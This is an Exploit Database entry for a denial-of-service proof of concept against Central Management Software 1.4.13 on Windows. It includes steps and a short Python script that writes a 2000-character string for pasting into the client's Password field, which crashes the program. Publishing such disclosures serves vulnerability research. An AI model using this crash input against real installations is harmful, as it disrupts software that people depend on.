



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Central Management Software 1.4.13 - Denial of Service (PoC)

EDB-ID:

45207

CVE:

N/A

EDB Verified: 

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS_X86-64](#)

Date:

2018-08-16

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Central Management Software v1.4.13 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-16
# Homepage: https://www.ambientweather.com
# Software Link:
https://p10.secure.hostingprod.com/@site.ambientweatherstore.com/ssl/Manuals/
# Tested Version: 1.4.13
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CMS client program. In the new window paste the content of
# "exploit.txt" into the following fields:"Password". Click "Login" and you
# will see a crash.
```

```
#!/usr/bin/python
```

```
buffer = "A" * 2000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.